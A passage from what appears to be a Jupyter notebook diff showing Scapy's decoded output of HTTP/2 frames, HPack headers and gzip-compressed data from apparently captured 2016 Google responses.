0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\n",
+        "###[ HTTP/2 Frame Sequence ]### \n",
+        "  \\frames    \\\n",
+        "   |###[ HTTP/2 Frame ]### \n",
+        "   |  len       = 0xe1\n",
+        "   |  type      = HdrsFrm\n",
+        "   |  flags     = set(['End Headers (EH)'])\n",
+        "   |  reserved  = 0L\n",
+        "   |  stream_id = 3L\n",
+        "   |###[ HTTP/2 Headers Frame ]### \n",
+        "   |     \\hdrs      \\\n",
+        "   |      |###[ HPack Dynamic Size Update ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  max_size  = 12288\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 8\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 59\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 11\n",
+        "   |      |   |  data      = 'HPackZString(Accept-Encoding)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 26\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 3\n",
+        "   |      |   |  data      = 'HPackZString(gzip)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 31\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 9\n",
+        "   |      |   |  data      = 'HPackZString(image/x-icon)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 33\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 22\n",
+        "   |      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 36\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 22\n",
+        "   |      |   |  data      = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 44\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 22\n",
+        "   |      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 0\n",
+        "   |      |  \\hdr_name  \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 16\n",
+        "   |      |   |  data      = 'HPackZString(x-content-type-options)'\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 5\n",
+        "   |      |   |  data      = 'HPackZString(nosniff)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 54\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 3\n",
+        "   |      |   |  data      = 'HPackZString(sffe)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 28\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 3\n",
+        "   |      |   |  data      = 'HPackZString(1494)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 0\n",
+        "   |      |  \\hdr_name  \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 12\n",
+        "   |      |   |  data      = 'HPackZString(x-xss-protection)'\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 10\n",
+        "   |      |   |  data      = 'HPackZString(1; mode=block)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 24\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 16\n",
+        "   |      |   |  data      = 'HPackZString(public, max-age=691200)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 21\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 5\n",
+        "   |      |   |  data      = 'HPackZString(472252)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 0\n",
+        "   |      |  \\hdr_name  \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 5\n",
+        "   |      |   |  data      = 'HPackZString(alt-svc)'\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 28\n",
+        "   |      |   |  data      = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n",
+        "   |###[ HTTP/2 Frame ]### \n",
+        "   |  len       = 0x5d6\n",
+        "   |  type      = DataFrm\n",
+        "   |  flags     = set(['End Stream (ES)'])\n",
+        "   |  reserved  = 0L\n",
+        "   |  stream_id = 3L\n",
+        "   |###[ HTTP/2 Data Frame ]### \n",
+        "   |     data      = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\xf7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n",
+        "   |###[ HTTP/2 Frame ]### \n",
+        "   |  len       = 0x167\n",
+        "   |  type      = HdrsFrm\n",
+        "   |  flags     = set(['End Headers (EH)'])\n",
+        "   |  reserved  = 0L\n",
+        "   |  stream_id = 1L\n",
+        "   |###[ HTTP/2 Headers Frame ]### \n",
+        "   |     \\hdrs      \\\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 8\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 33\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 22\n",
+        "   |      |   |  data      = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 36\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Literal\n",
+        "   |      |   |  len       = 2\n",
+        "   |      |   |  data      = 'HPackLiteralString(-1)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 24\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 13\n",
+        "   |      |   |  data      = 'HPackZString(private, max-age=0)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 31\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 22\n",
+        "   |      |   |  data      = 'HPackZString(text/html; charset=ISO-8859-1)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 0\n",
+        "   |      |  \\hdr_name  \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Literal\n",
+        "   |      |   |  len       = 3\n",
+        "   |      |   |  data      = 'HPackLiteralString(p3p)'\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 81\n",
+        "   |      |   |  data      = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 78\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 54\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Literal\n",
+        "   |      |   |  len       = 3\n",
+        "   |      |   |  data      = 'HPackLiteralString(gws)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 28\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 3\n",
+        "   |      |   |  data      = 'HPackZString(4420)'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 72\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 0\n",
+        "   |      |  \\hdr_name  \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 11\n",
+        "   |      |   |  data      = 'HPackZString(x-frame-options)'\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 9\n",
+        "   |      |   |  data      = 'HPackZString(SAMEORIGIN)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 55\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 165\n",
+        "   |      |   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 71\n",
+        "   |###[ HTTP/2 Frame ]### \n",
+        "   |  len       = 0x122b\n",
+        "   |  type      = DataFrm\n",
+        "   |  flags     = set(['End Stream (ES)', 'Padded (P)'])\n",
+        "   |  reserved  = 0L\n",
+        "   |  stream_id = 1L\n",
+        "   |###[ HTTP/2 Padded Data Frame ]### \n",
+        "   |     padlen    = 230\n",
+        "   |     data      = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82<O\\xd8u\\x11\\xae\\x1cr^\\xa2\\x9f\\xbc\\x85\\xd9\\xc8>\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3<K7\\x17\\xda\\xdc\\x18\\x1dm\\xecr\\x0b\\xf4\\xaf^\\xbct\\x8e\\x16\\xf9\\x91\\xbd\\xe9u{v{\\xabT\\x08\\x91\\xe7|\\xf8XcG\\xa1\\xa3\\xd5\\xdf\\x01\\x13\\x17\\x97NC@{\\xebE\\x9awW4W\\\\\\x9bv:\\xdd\\x03\\x8a(O\\x85\\xc8C\\xb7\\x10\\xec\\xfe\\xfe\\xa0\\xeb:\\xbb}]\\xc2B\\x9f\\xf4z=\\xbbGa(\\xa39\\x04\\x87\\xdfR\\x9f\\xd99\\x13E\\x9e(\\xee\\xfd}\\xbd\\xce\\x8b\\xcbMk\\xe6\\x97_\\x9b\\xdaI\\x8a(\\xfa\\xfb\\xf3G\\xdf[@3)\\x866\\xee\\xb4\\xf4Sb\\xc80\\xcag\\xc4q\\xaa\\xd0\\x12\\xa5\\x1eE\\x8c>\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88<u\\xd1|\\x876\\xfb\\xb0\\xf8\\xe8\\xb8\\xb6\\xdbO\\x13\\x86B8\\xf8\\x15\\xa5\\xd4\\x97\\x1f\\xd4Ms\\xd1^\\xb6\\xcf\"&\\x98\\x82T\\x1b{\\'dw:;\\xcd\\xfe\\x8aE\\x8ft\\xf5\\xa3\\xe2\\xf1^P\\x1e,\\x82\\xe7\\x9eC[.\\xbd8\\xd67m}\\x80\\xb8\\x8f\\xaa\\xa4\\x94\\x90\\x90\\x96h\\xfc\\xfe\\x9e\\x10\\xdb\\xbb\\xbf?\\xd1\\x0f@\\x16\\xceh\\x0e6!\\x1d\\x16:\\xa4w\\x7f\\xdf\\x05t\\xf9}\\xdc\\xde4]\\xbf\\xa7\\x9e\\xe8N\\x1b?\\x92\\x04\\xe0\\xb5\\xbe\\xb3\\xe3\\xe4\\x80\\x8a\\xbd\\xec\\xd8\\xa9p\\x8e\\xa1\\xc3\\xa6\\x0e\\xccH\\x06\\xe4\\xb8\\x1b\\x00\\x0cX27\\xb4\\x11\\xe9\\x1d\\x93\\'\\x1